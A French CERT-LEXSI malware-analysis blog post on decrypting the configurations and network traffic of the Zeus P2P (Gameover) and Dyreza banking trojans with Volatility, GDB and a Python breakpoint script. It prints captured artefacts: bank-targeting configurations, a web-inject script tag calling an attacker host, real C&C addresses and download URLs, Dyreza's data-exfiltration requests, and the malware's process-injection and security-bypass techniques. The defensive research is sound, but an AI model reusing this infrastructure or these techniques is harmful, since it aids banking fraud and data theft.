virusBeaucoup de malwares utilisent un canal de contrôle centralisé sur un domaine précis, ce qui a l’avantage de la simplicité mais le gros inconvénient de pouvoir être fermé par des sociétés spécialisées comme Lexsi grâce à son CERT ou par les forces de l’ordre. Depuis plusieurs années, les auteurs de malwares ont donc tendance à utiliser une infrastructure réseau décentralisée afin d’assurer une meilleure résilience de leur botnet, impliquant le développement de nouveaux outils afin de suivre leur évolution. Le CERT-LEXSI utilise pour cela des lofts, machines virtuelles spécialement configurées afin de déchiffrer en temps réel les communications et en extraire en particulier les configurations des malwares bancaires et ainsi connaitre les banques nouvellement ciblées.

Configuration Zeus P2P en registre

Depuis la fuite du code source de Zeus en mai 2011, de nombreuses variantes ont été créées : Citadel, ICE-IX, Zeus VM, etc. L’une de ces variantes, Gameover, utilisait une architecture P2P et a été active de fin 2011 jusqu’à son démantèlement par les forces de l’ordre lors de l’Opération Tovar en juin 2014.

Pour cibler les utilisateurs francophones, Zeus P2P était principalement distribué par spam semblant provenir de banques françaises et contenant une pièce jointe souvent nommée Avis_de_Paiement.zip. Le malware dans la pièce jointe était un downloader qui téléchargeait une souche de Zeus P2P et l’exécutait sur le poste. Quelques minutes après l’exécution, la machine infectée réussissait à télécharger sa configuration depuis le réseau P2P et la stockait dans HKCUSoftwareMicrosoft dans une clé de registre au nom aléatoire, aux côtés d’autres informations pertinentes comme une liste de noeuds P2P actuellement actifs.

Il existe mille et une façons de déchiffrer cette configuration inscrite dans le registre mais une méthode simple et générique est la suivante : on repère une chaîne dont on sait qu’elle se situe dans la configuration, comme l’URL d’une banque qu’on sait ciblée, et on note à quel offset cette chaîne apparaît en mémoire. Suite au lancement du navigateur, on observe par exemple la présence de la chaîne @https://www.mabanque.fr/* à l’offset 97604573. On veut savoir quelle instruction a généré ce déchiffrement, pour cela on va :

  1. convertir l’offset de cette chaîne de caractères dans la RAM en adresse virtuelle
  2. poser un watchpoint sur cette adresse
  3. attendre que le malware s’arrête en raison de ce watchpoint

On va utiliser le plugin strings de Volatility avec le fichier d’entrée strings.txt suivant :

97604573:@https://www.mabanque.fr/*

Le plugin convertit l’offset fourni en adresse virtuelle dans un processus en cours d’exécution :

$ ./vol.py strings -s strings.txt -f zeusp2p.ram
05d153dd [940:00a223dc] @https://www.mabanque.fr/*

Le plugin pslist de Volatility indique que le PID 940 correspond à Internet Explorer, ce qui est cohérent avec notre observation ci-dessus concernant le lancement du navigateur. On pose alors un watchpoint sur l’adresse 0x00a223dc. L’exécution s’arrête comme prévu en raison d’une écriture à cette adresse et on voit bien le début de notre chaîne déchiffrée (@http) :

Hardware watchpoint 15: *0x00a223dc
Old value = <unreadable>
New value = 1952989184
0x0016a51b in ?? ()
(gdb) hexdump 0x00a223dd 16
40 68 74 65 00 67 00 61 00 6c 00 43 00 6f 00 70 |@hte.g.a.l.C.o.p|

Cette adresse correspond à une fonction cryptographique assez grande dont le graphe de contrôle est le suivant :

zeus_p2p_decrypt

En continuant simplement l’exécution jusqu’à l’adresse de retour, le contenu déchiffré est pointé par ebx. Au lancement du navigateur, on obtient tout d’abord une configuration quasi-statique de quelques dizaines de lignes :

(gdb) hexdump $ebx 512
!http://*
!https://server.iad.liveperson.net/*
!https://chatserver.comm100.com/*
!https://fx.sbisec.co.jp/*
!https://match2.me.dium.com/*
!https://clients4.google.com/*
!https://*.mcafee.com/*
!https://www.direktprint.de/*
!*.facebook.com/*
!*.myspace.com/*
!*twitter.com/*
!*.microsoft.com/*
!*.youtube.com/*
!*hotbar.com*
[...]

En poursuivant l’exécution du malware, il s’arrête à nouveau et fournit en clair la suite de la configuration listant les URLs des banques ciblées, avec les caractères séparés par des 0x1c, 0x1d, 0x1e ou 0x1f :

(gdb) hexdump $ebx 512
d4 00 00 00 00 00 01 00 cc 00 00 00 01 30 00 80 |.............0..|
8a e3 5f 00 45 52 43 50 c0 00 00 00 11 02 80 00 |.._.ERCP........|
04 00 00 00 00 00 00 00 00 00 6e 03 28 00 00 00 |..........n.(...|
00 00 00 00 00 00 00 00 00 00 00 00 5e 00 94 1a |............^...|
1d 68 1d 74 1d 74 1d 70 1d 73 1d 3a 1d 2f 1d 2f |.h.t.t.p.s.:././|
1d 77 1d 77 1d 77 1d 2e 1d 65 1d 2d 1d 63 1d 6c |.w.w.w...e.-.c.l|
1d 6f 1d 73 1d 69 1d 6e 1d 67 1d 73 1d 65 1d 63 |.o.s.i.n.g.s.e.c|
1d 75 1d 72 1d 65 1d 64 1d 2e 1d 63 1d 6f 1d 6d |.u.r.e.d...c.o.m|
1d 3a 43 07 1d 2f 1d 73 1d 63 1d 72 1d 69 1d 70 |.:C../.s.c.r.i.p|
1d 74 1d 73 1d 2f 1d 73 1d 70 1d 69 1d 69 1d 73 |.t.s./.s.p.i.i.s|
1d 2e 1d 64 1d 6c 1d 6c 1d 2f 1d 69 1d 74 1d 73 |...d.l.l./.i.t.s|
1d 2d 1d 69 1d 74 1d 65 1d 63 1d 2f 1d 69 1d 74 |.-.i.t.e.c./.i.t|
1d 65 1d 63 1d 5f 1d 6c 1d 6f 1d 67 1d 69 1d 6e |.e.c._.l.o.g.i.n|
55 00 94 00 d7 00 00 00 00 00 02 00 78 00 00 00 |U...........x...|
01 30 00 80 8a e3 5f 00 45 52 43 50 6c 00 00 00 |.0...._.ERCPl...|
10 02 80 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |(...............|
5e 00 40 1a 1c 68 1c 74 1c 74 1c 70 1c 73 1c 3a |^.@..h.t.t.p.s.:|
1c 2f 1c 2f 1c 77 1c 77 1c 77 1c 2e 1c 73 1c 74 |././.w.w.w...s.t|
1c 65 1c 72 1c 6c 1c 69 1c 6e 1c 67 1c 77 1c 69 |.e.r.l.i.n.g.w.i|
1c 72 1c 65 1c 73 1c 2e 1c 63 1c 6f 1c 6d 1c 2f |.r.e.s...c.o.m./|
55 00 40 00 57 00 00 00 01 10 00 40 8a e3 5f 00 |U.@.W......@.._.|
45 52 43 50 4b 00 00 00 00 00 80 00 06 00 00 00 |ERCPK...........|
00 00 00 00 49 00 73 00 28 00 00 00 00 00 00 00 |....I.s.(.......|
00 00 00 00 00 00 00 00 5e 00 1f 1c 49 1c 57 1c |........^...I.W.|
50 1c 72 1c 65 1c 53 1c 63 1c 72 1c 69 1c 70 1c |P.r.e.S.c.r.i.p.|
74 1c 2e 1c 6a 1c 73 55 00 1f 00 c5 00 00 00 00 |t...j.sU........|
[...]

En saisissant une URL ciblée dans la navigateur, on obtient enfin le ou les inject(s) lié(s) à cette URL, par exemple :

(gdb) hexdump $ebx 512
5f 00 00 00 04 00 45 52 43 50 59 00 00 00 06 02 |_.....ERCPY.....|
80 00 06 00 00 00 01 00 00 00 3c 00 3e 02 28 00 |..........<.>.(.|
09 00 01 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
69 6e 6a 65 63 74 00 5e 00 21 1c 3c 1c 21 1c 44 |inject.^.!.<.!.D|
1c 4f 1c 43 1c 54 1c 59 1c 50 1c 45 3a 0d 1c 3e |.O.C.T.Y.P.E:..>|
5f 00 05 00 01 55 00 05 55 00 21 00 61 74 69 ec |_....U..U.!.ati.|
00 00 00 08 00 3c 73 63 72 69 70 74 20 74 79 70 |.....<script typ|
65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 |e="text/javascri|
70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f |pt" src="https:/|
2f 74 68 65 73 74 61 74 69 73 74 69 63 64 61 74 |/thestatisticdat|
61 2e 62 69 7a 2f 56 57 64 38 6a 66 41 70 47 44 |a.biz/VWd8jfApGD|
2f 3f 47 65 74 69 66 69 6c 65 22 20 69 64 3d 22 |/?Getifile" id="|
4d 61 69 6e 49 6e 6a 46 69 6c 65 22 20 68 6f 73 |MainInjFile" hos|
74 3d 22 74 68 65 73 74 61 74 69 73 74 69 63 64 |t="thestatisticd|
61 74 61 2e 62 69 7a 22 20 6c 69 6e 6b 3d 22 2f |ata.biz" link="/|
56 57 64 38 6a 66 41 70 47 44 2f 3f 62 6f 74 49 |VWd8jfApGD/?botI|
44 3d 24 5f 42 4f 54 5f 49 44 5f 24 26 42 6f 74 |D=$_BOT_ID_$&Bot|
4e 65 74 3d 24 5f 53 55 42 42 4f 54 4e 45 54 5f |Net=$_SUBBOTNET_|
24 26 22 20 68 74 74 70 73 3d 22 74 72 75 65 22 |$&" https="true"|
20 6b 65 79 3d 22 63 4c 61 31 76 64 43 4e 73 63 | key="cLa1vdCNsc|
22 3e 3c 2f 73 63 72 69 70 74 3e 9f fb ac 99 e6 |"></script>.....|

Cette méthode permet de déchiffrer la configuration et les injects à la demande mais pour un suivi en temps réel de leur évolution, il est préférable de déchiffrer directement au niveau des communications réseau.

Déchiffrement temps réel

Suite à l’exécution du malware, la machine devient un nouveau nœud du réseau P2P Gameover et de nombreux échanges réseau chiffrés ont lieu avant l’écriture en registre décrite ci-dessus. Le protocole réseau utilisé a été documenté et peut se résumer ainsi :

  • une couche UDP afin de mettre à jour la liste des nœuds (couples IP/port, une liste de départ étant codée en dur dans la souche), demander le numéro de la dernière version de la configuration et du binaire
  • une couche TCP afin de télécharger la dernière version de la configuration ou du binaire depuis ces nœuds
  • une couche HTTP permettant d’obtenir des informations de plus haut niveau auprès de nœuds privilégiés, comme les injects à insérer dans la page en cours de navigation par la victime

Concernant la couche UDP, le contenu à envoyer est chiffré juste avant envoi par la fonction sendto() de WS2_32.DLL et déchiffré juste après réception par la fonction recvfrom() :

zeus_p2p_sendto

En posant un point d’arrêt juste avant le chiffrement et juste après le déchiffrement, on récupère ainsi directement les échanges en clair qu’on peut afficher sous une forme clairement lisible, quelle que soit la complexité du chiffrement :

zeus_p2p_udp

Les échanges ainsi déchiffrés montrent que la configuration et le binaire sont disponibles sur le réseau P2P de manière unifiée et ne dépendent pas de la souche utilisée.

Les échanges TCP sont chiffrés de la même manière et leur contenu en clair peut donc être récupéré en posant des points d’arrêt avant la fonction send() et après recv(). Comme mentionné ci-dessus, il peut s’agir d’un simple téléchargement de configuration ou bien de requêtes HTTP à destination de super-nœuds. Zeus P2P fait la différence en observant simplement les quelques premiers octets du contenu à la recherche des chaînes GET ou POST :

zeus_p2p_http

Voici un exemple d’une telle requête :

POST /write HTTP/1.1
Host: default
Accept-Encoding:
Connection: close
Content-Length: 332
X-ID: 1616

On observe un en-tête X-ID,identifiant un sous-réseau du réseau Zeus P2P, codé en dur dans la souche. Lorsque la victime visite le site d’une banque ciblée par Zeus P2P, celui-ci va télécharger les injects depuis un noeud privilégié via la couche HTTP en précisant également cet identifiant (suivi du nom de la campagne et de l’identifiant unique du bot sur le réseau) :

Referer: https://www.mabanque.fr/scripts/default0.js
Accept: */*
Connection: Close
Accept-Language: fr
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 127.0.0.1:3350
X-ID: 1616=mr26FRp=<botid>

Le serveur répond avec le code JavaScript de l’inject, de l’ordre de la centaine de ko :

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Mar 2014 15:04:09 GMT
Content-Type: application/javascript; charset=UTF-8
Content-Length: 102831
Connection: close
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
X-BC: fbb32008985d9cff6fb0c1e76d9cdd44 socks 5.135.179.80 515, 82a5
aad577d60e8f9992bfde4961974e vnc 5.135.179.80 515
function(a,b){function ci(a){return d.isWindow(a)?a:a.nodeType===9?
a.defaultView||a.parentWindow:!1}function cf(a){if(!b_[a]){var b=d(
"<"+a+">").appendTo("body"),c=b.css("display");b.remove();if(c==="n
one"||c==="")c="block";b_[a]=c}return b_[a]}function ce(a,b){var c=
{};d.each(cd.concat.apply([],cd.slice(0,b)),function(){c[this]=a});
return c}function b$(){try{return new a.ActiveXObject("Microsoft.XM
LHTTP")}
[...]

Cet inject crée par exemple dans le DOM du navigateur un nouvel objet qui peut être utilisé afin de détecter les clients infectés naviguant sur le site de la banque.

Enumération des canaux Zeus P2P

En analysant des souches disposant d’identifiants X-ID distincts, le CERT-LEXSI a observé (merci Florent) que le résultat obtenu du serveur n’était pas toujours le même. Par exemple, à un même instant, une requête de demande d’inject pour l’identifiant 1616 renvoie un code JavaScript différent de celui obtenu via l’identifiant 5555. Contrairement à la configuration, les injects Zeus P2P ne sont donc pas unifiés mais dépendent de l’identifiant X-ID qui peut donc être interprété comme un numéro de canal sur lequel les attaquants peuvent décider ou non de délivrer leurs propres injects, chacun indépendamment sur son canal respectif.

Pour être complet quant à la récupération des injects, il est donc nécessaire de lister les canaux puis d’effectuer une demande d’inject sur chaque canal, ceci pour chaque URL voulue du fichier de configuration. La taille de l’entier X-ID ne laisse pas la possibilité pratique d’effectuer un parcours exhaustif ; on observe cependant que beaucoup de canaux utilisent des motifs particuliers comme 1212, 1515, 1616, 5555 ou 6666 ce qu permet déjà de dresser une première liste utilisant une généralisation de ces motifs.

On peut également améliorer la cartographie des canaux en se restreignant à un segment comme [1, N]. Pour ce faire, on observe que l’en-tête X-ID est généré via un simple appel à _vsnprintf() avec le format %u=%s=%s (canal, identifiant de campagne et botid) sur lequel il suffit donc d’itérer en envoyant la requête de demande d’inject. Nous avons observé plusieurs cas possibles :

  • si le canal existe et est actif, la réponse est de type application/javascript et contient l’inject
  • si le canal existe mais n’est pas actif au moment du test, la réponse est de type application/javascript et de taille 0
  • si le canal n’existe pas, la réponse est de type text/html et de taille 0

Cette méthode permet de trouver des canaux qui ne respectent aucun motif particulier, comme 105 ou 3006 et de trouver de potentiels nouveaux injects et donc méthodes de détection des clients infectés.

Dyreza

Dyreza est téléchargé et installé par un autre malware, Upatre, qui se présente sous la forme d’une pièce de quelques dizaines de ko jointe à un spam. Comme Zeus P2P, les versions francophones de ces spams usurpent des courriels de banques françaises et la pièce jointe s’appelle Avis De Paiement.zip.

L’exemplaire d’Upatre analysé ici utilise la fonction CryptStringToBinary() pour décoder une longue chaîne Base64, le résultat étant décompressé via RtlDecompressBuffer() par le format 2, soit l’algorithme LZ en compression standard. Cette courte phase de dépacking permet d’obtenir un binaire original de seulement 4.5 ko. Ce binaire spécifie un user-agent Mazilla/5.0 avant de télécharger dans notre cas le fichier d’une taille de 407 410 octets :

dyreza_wireshark

Après une passe de XOR, ce contenu est interprété comme un shellcode. Celui-ci appelle également RtlDecompressBuffer() avec le format 0x102, soit LZ en compression maximale, pour passer d’un contenu de 406 596 octets à un exécutable PE de 574 976 octets. Sa ressource nommée EXE1 contient l’exécutable Dyreza d’une taille de 506 ko. Une fois dépacké, Dyreza s’injecte dans un processus légitime de Windows de la façon suivante :

  1. appel à CreateFileMapping() et MapViewOfFile() afin de créer une zone en lecture/écriture/exécution dont le contenu est celui de l’une des ressources PE du binaire Dyreza, d’une taille de l’ordre d’une centaine de ko
  2. mapping de cette zone dans le processus distant voulu (ex : svchost.exe) via ZwMapViewOfSection()
  3. appel à ZwQueueApcThread() afin de lancer un thread depuis cette zone au sein du processus distant, technique utilisée par d’autres malwares comme Carberp ou ZeroAccess

Cette zone décompresse puis exécute une DLL qui contacte différents services STUN afin de déterminer l’état de la connexion réseau :

  • No NAT
  • Full Cone NAT
  • UDP Firewall
  • Port restricted NAT
  • Address restricted NAT
  • Symmetric NAT
  • unknown NAT

Il est probable que Dyreza utilise ces services afin d’en déduire la « qualité » de la connexion réseau du nœud infecté ; un nœud directement accessible depuis Internet sera en effet plus intéressant pour l’attaquant qu’une machine derrière un routeur s’il souhaite par exemple la transformer en nœud privilégié pouvant servir de proxy.

Tous les échanges ultérieurs sont chiffrés via SSL et l’objectif du loft est de les déchiffrer en temps réel. Une fois connue l’adresse du point d’entrée original de la DLL injectée dans le processus légitime, l’analyse du binaire montre qu’il suffit pour cela de poser des points d’arrêt aux adresses suivantes:

  • InternetConnect() : le 2e argument pointe vers le nom du serveur contacté, et le 3e le port
  • HttpOpenRequest() : le 3e argument pointe vers l’URL demandée (2 points d’arrêt : requête GET ou POST)
  • InternetWriteFile() : le 2e argument pointe vers les données à transmettre au serveur (requêtes POST, plusieurs appels successifs possibles)
  • InternetReadFile() : le 2e argument pointe vers la réponse du serveur (plusieurs appels successifs possibles)
  • fonction de traitement de la réponse brute du serveur
  • si chiffrement, sortie de la fonction de déchiffrement suite à réception (déterminée de la même manière que pour Zeus P2P)

Concernant les deux derniers points, à l’intérieur du flux SSL les réponses du serveur sont généralement chiffrées mais apparaissent parfois en clair pour certains messages, comme l’exemple suivant où le serveur renvoie entre autres un lien vers une URL à télécharger :

/41/1803uk11/<botid>/njgrlTSPmmSalveoVNCaRvGevEKAKuS/2378665/
http://85.17.75.206/ml1from1.tar

Voici à titre d’exemple un extrait du script Python pour GDB concernant la récupération du serveur et du port lors de l’appel à InternetConnect() :

import gdb

class Dyreza(gdb.Breakpoint):
    def __init__(self, spec):
        super(Dyreza, self).__init__(spec, gdb.BP_BREAKPOINT)

    def stop(self):
        eip = long(gdb.parse_and_eval("$eip").cast(gdb.lookup_type("int").pointer())) & 0xffffffff

        if eip == INTERNETCONNECT:
            port = long(gdb.parse_and_eval("$esp+8").cast(gdb.lookup_type("int").pointer()).dereference()) & 0xffffffff

            server_addr = long(gdb.parse_and_eval("$esp+4").cast(gdb.lookup_type("int").pointer()).dereference()) & 0xffffffff
            server = ""
            byte = None
            while byte != chr(0):
                byte = str(gdb.selected_inferior().read_memory(server_addr, 1))
                server += byte
                server_addr += 1
                print "Connexion vers %s:%i" % (server[:-1], port)
[...]
Dyreza("*0x%x" % INTERNETCONNECT)

Ainsi implémenté, notre loft fournit les informations suivantes :

  • avant toute communication réseau, déchiffrement de l’identifiant de campagne, d’un lien I2P et d’une liste de C&C :
    1803uk11
    nhgyzrn2p2gejk57wveao5kxa7b3nhtc4saoonjpsy65mapycaua.b32.i2p:443
    91.242.52.192:443
    91.238.74.70:443
    95.67.88.84:4443
    91.196.99.217:443
    [...]
  • tentative de connexion à un C&C appartenant à cette liste :
    GET /1803uk11/<botid>/5/spk/<ip externe>/
  • envoi de la version de Windows (ex : Win_XP_32bit, Win_7_SP1_32bit, etc) . Le nombre 1117 semble être la version incrémentale du binaire Dyreza et non un numéro de canal à la Zeus P2P, nous avons par exemple vu 1105 pour une campagne du 19/02 et 1116 pour une campagne du 17/03. La réponse contient une première partie de la configuration, de petite taille :
    GET /1803uk11/<botid>/0/<version windows>/1117/<ip externe>/
    
    <datapost>
    <dpsrv>
    95.211.199.30:443
    </dpsrv>
    </datapost>
    <modules>
    <modsrv>
    212.56.214.203:443
    </modsrv>
    </modules>
    <commands>
    <csrv>
    1.2.3.4:443
    </csrv>
    </commands>
  • demande de la première grande partie de la configuration :
    GET /1803uk11/<botid>/5/httprex/<ip externe>/
    
    <serverlist>
    <server>
    <sal>srv_name</sal>
    <saddr>37.187.127.157:443</saddr>
    </server>
    </serverlist>
    <localitems>
    <litem>
    cashproonline.bankofamerica.com/AuthenticationFrameworkWeb/cpo/login/public/loginMain.faces*
    cashproonline.bankofamerica.com/*
    dlufblyfbjnwxnbdetvjoz12081.com
    srv_name
    </litem>
    <litem>
    businessaccess.citibank.citigroup.com/cbusol/signon.do*
    businessaccess.citibank.citigroup.com/*
    ntuamvpofvvqwrslquultyppoxqp12181.com
    srv_name
    </litem>
    <litem>
    www.bankline.natwest.com/CWSLogon/logon.do*
    www.bankline.natwest.com/*
    rmknwwzbdxetnqu12281.com
    srv_name
    </litem>
    [...]
  • demande de la seconde grande partie de la configuration :
    GET /1803uk11/<botid>/5/respparser/<ip externe>/
    
    <rpci>
    */onlineserv/CM*
    195.154.241.146:80/handler12191.php
    </rpci>
    <rpci>
    */onlineserv/CM/favicon.ico[?]*
    195.154.241.146:80/handler12191.php
    </rpci>
    <rpci>
    */wcmfd/wcmpw/CustomerLogin*
    195.154.241.146:80/handler12291.php
    </rpci>
    [...]
  • téléchargement d’un binaire (ex : vol d’informations dans Firefox) :
    GET /1803uk11/<botid>/5/wg32/<ip externe>/
  • envoi du statut NAT :
    GET /1803uk11/<botid>/14/NAT/Port restricted NAT/0/<ip externe>/
  • envoi du nom de l’utilisateur :
     GET /1803uk11/<botid>/14/user/SYSTEM/0/<ip externe>/
  • envoi d’informations générales sur le système
    POST /1803uk11/<botid>/63/generalinfo/<ip externe>/
    
    Content-Type: multipart/form-data; boundary=eEJUGnxSMsLXtKxbound-2437046
    Content-Length: 11723
    Accept: text/html
    Connection: Keep-Alive
    
    --eEJUGnxSMsLXtKxbound-2437046
    Content-Disposition: form-data; name="noname"
    Content-Type: text/plain; charset=UTF-16
    
    ==General==
    [...]
    ==Users==
    [...]
    ==Programs==
    AddressBook
    OutlookExpress
    [...]
    ==Services==
    Browser
    [...]
    --eEJUGnxSMsLXtKxbound-2437046--
  • envoi d’informations concernant les navigateurs web (historique de navigation, cookies, etc) :
    POST /1803uk11/<botid>/63/browsnapshot/<ip externe>/
    
    Content-Type: multipart/form-data; boundary=xcJsICFVmjrTgCGbound-876850
    Content-Length: 6983
    Accept: text/html
    Connection: Keep-Alive
    
    --xcJsICFVmjrTgCGbound-876850
    Content-Disposition: form-data; name="noname"
    Content-Type: application/octet-stream
    
    Service Pack 1
    Paris, Madrid (heure d'été)
    Mozilla Firefox 32.0.1 (x86 fr)
    Internet Explorer 8.0.7601.15174
    google.fr
    bing.com
    mozilla.org
    msn.com
    [...]

Le 17/03, nous avons également observé la propagation d’une mise à jour du binaire Dyreza d’une taille de 562 ko :

GET /1703upd.tar

0000000: 08c4 0800 0800 0000 0000 0000 4d5a 9000 ............MZ..
0000010: 0300 0000 0400 0000 ffff 0000 b800 0000 ................
0000020: 0000 0000 4000 0000 0000 0000 0000 0000 ....@...........
0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000040: 0000 0000 0000 0000 0001 0000 0e1f ba0e ................
0000050: 00b4 09cd 21b8 014c cd21 5468 6973 2070 ....!..L.!This p
0000060: 726f 6772 616d 2063 616e 6e6f 7420 6265 rogram cannot be
0000070: 2072 756e 2069 6e20 444f 5320 6d6f 6465 run in DOS mode
[...]

Lors du lancement d’un navigateur (Internet Explorer, Firefox et Chrome sont actuellement supportés), le thread original injecté dans le processus Windows légitime crée un nouveau thread distant dans le navigateur avec un classique CreateRemoteThread(). Celui-ci déchiffre une DLL qui communique avec le thread original via un tube nommé ; les commandes suivantes sont implémentées via ce tube afin que le nouveau thread puisse générer de façon autonome des requêtes contenant tous les éléments nécessaires :

  • btid : récupération du botid
  • slip : récupération de l’IP externe
  • btnt : nom de la campagne (on notera la proximité avec le mot botnet même s’il ne s’agit a priori pas d’un canal au sens Zeus P2P ; ce billet sera mis à jour si besoin sur ce point)
  • ccsr : C&C actuel (IP:port)
  • dpsr : champ dpsrv de la configuration
  • rpls : première grande partie de la configuration (de <serverlist> à </localitems>)
  • rspp : deuxième grande partie de la configuration

Dyreza désactive le solution de sécurité Rapport de Trusteer en patchant quelques octets en mémoire, suite à quoi il détourne certaines fonctions du navigateur afin d’accéder au contenu en clair des requêtes légitimes. Dans le cas de Firefox, il détourne par exemple PR_Write() et PR_Read() via un simple JMP vers PUSH/RET afin d’accéder respectivement aux requêtes et réponses HTTP en clair :

(gdb) x/3i 0x01d94539 //avant
0x1d94539: mov eax,DWORD PTR [esp+0x4]
0x1d9453d: push DWORD PTR [esp+0xc]
0x1d94541: push DWORD PTR [esp+0xc]

(gdb) x/1i 0x01d94539 //apres
0x1d94539: jmp 0x1890008

(gdb) x/2i 0x1890008
0x1890008: push 0x347040
0x189000d: ret

Une fois connue l’adresse où cette DLL injectée est mappée dans l’espace mémoire du navigateur, on peut placer de nouveaux points d’arrêt comme précédemment afin de déchiffrer les communications effectuées par ce second thread malveillant. Ainsi observe-t-on par exemple que le malware insère dans ces requêtes issues du navigateur à destination du C&C les en-têtes HTTP suivants afin de donner au C&C le contexte dans lequel la demande a lieu (IP externe, identifiant de la campagne et botid) :

X-Forwarded-For: <ip externe>
TimestampVal: 1803uk11 <botid>

Conclusion

Certains malwares disposent d’une architecture réseau décentralisée dont l’étude est facilitée par l’utilisation de lofts déchiffrant les communications en temps réel. La mise en place d’un tel loft pour Dyreza a par exemple permis au CERT-LEXSI de détecter en temps réel l’ajout à la configuration de deux nouvelles cibles françaises durant la semaine du 23/03.